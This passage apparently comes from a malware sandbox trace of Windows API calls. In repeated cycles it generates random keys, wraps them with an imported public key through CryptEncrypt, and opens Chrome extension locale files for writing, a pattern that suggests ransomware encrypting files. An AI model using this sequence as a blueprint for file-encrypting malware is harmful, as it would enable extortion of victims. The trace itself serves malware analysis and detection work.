pbBuffer=0x285cbc0) returned 1 [0239.094] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.094] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.096] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b39f8) returned 1 [0239.096] CryptGetKeyParam (in: hKey=0x66b39f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.096] CryptEncrypt (in: hKey=0x66b39f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9ec0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9ec0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.097] GetLastError () returned 0x0 [0239.097] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.097] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0239.098] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3878) returned 1 [0239.098] CryptGetKeyParam (in: hKey=0x66b3878, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.098] CryptEncrypt (in: hKey=0x66b3878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9ed0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9ed0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.099] GetLastError () returned 0x0 [0239.099] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.099] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.099] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.102] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.104] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.104] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.104] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.104] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.106] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.108] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.108] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.108] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.108] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.110] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3c78) returned 1 [0239.110] CryptGetKeyParam (in: hKey=0x66b3c78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.110] CryptEncrypt (in: hKey=0x66b3c78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9ee0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9ee0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.110] GetLastError () returned 0x0 [0239.110] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.110] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.112] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3af8) returned 1 [0239.112] CryptGetKeyParam (in: hKey=0x66b3af8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.112] CryptEncrypt (in: hKey=0x66b3af8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9ef0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9ef0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.112] GetLastError () returned 0x0 [0239.112] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.112] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.113] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.116] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.118] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.118] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.118] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.118] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.120] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.121] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.122] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.122] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.122] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.124] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3b38) returned 1 [0239.124] CryptGetKeyParam (in: hKey=0x66b3b38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.124] CryptEncrypt (in: hKey=0x66b3b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9f00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9f00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.124] GetLastError () returned 0x0 [0239.124] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.124] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.126] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3d38) returned 1 [0239.126] CryptGetKeyParam (in: hKey=0x66b3d38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.126] CryptEncrypt (in: hKey=0x66b3d38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9f10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9f10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.126] GetLastError () returned 0x0 [0239.126] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.126] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.127] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.129] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.131] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.131] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.131] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.131] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.133] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.135] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.135] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.135] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.136] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0239.138] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3b78) returned 1 [0239.138] CryptGetKeyParam (in: hKey=0x66b3b78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.138] CryptEncrypt (in: hKey=0x66b3b78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9f20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9f20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.138] GetLastError () returned 0x0 [0239.138] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.138] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.140] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b38b8) returned 1 [0239.140] CryptGetKeyParam (in: hKey=0x66b38b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.140] CryptEncrypt (in: hKey=0x66b38b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9f30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9f30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.140] GetLastError () returned 0x0 [0239.140] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.140] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.141] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.143] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.145] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.145] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.145] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.145] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.147] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.149] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.149] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.149] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.149] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.151] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3ab8) returned 1 [0239.151] CryptGetKeyParam (in: hKey=0x66b3ab8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.151] CryptEncrypt (in: hKey=0x66b3ab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9f40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9f40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.152] GetLastError () returned 0x0 [0239.152] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.152] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.153] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3938) returned 1 [0239.153] CryptGetKeyParam (in: hKey=0x66b3938, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.153] CryptEncrypt (in: hKey=0x66b3938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9f50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9f50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.154] GetLastError () returned 0x0 [0239.154] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.154] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.154] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.157] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.159] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.159] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.159] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.159] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.161] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.162] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.162] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.162] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.162] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0239.165] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3bb8) returned 1 [0239.165] CryptGetKeyParam (in: hKey=0x66b3bb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.165] CryptEncrypt (in: hKey=0x66b3bb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9f60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9f60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.165] GetLastError () returned 0x0 [0239.165] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.165] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.167] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3bf8) returned 1 [0239.167] CryptGetKeyParam (in: hKey=0x66b3bf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.167] CryptEncrypt (in: hKey=0x66b3bf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9f70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9f70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.167] GetLastError () returned 0x0 [0239.167] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.167] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.168] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.170] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.172] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.172] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.172] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.172] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.174] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.176] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.176] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.176] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.176] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.178] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b39b8) returned 1 [0239.178] CryptGetKeyParam (in: hKey=0x66b39b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.178] CryptEncrypt (in: hKey=0x66b39b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9f80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9f80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.178] GetLastError () returned 0x0 [0239.178] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.178] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.180] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3c38) returned 1 [0239.180] CryptGetKeyParam (in: hKey=0x66b3c38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.180] CryptEncrypt (in: hKey=0x66b3c38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9f90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9f90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.181] GetLastError () returned 0x0 [0239.181] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.181] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.181] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.184] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.185] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.185] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.185] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.185] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.187] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.189] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.189] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.189] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.189] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.191] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, 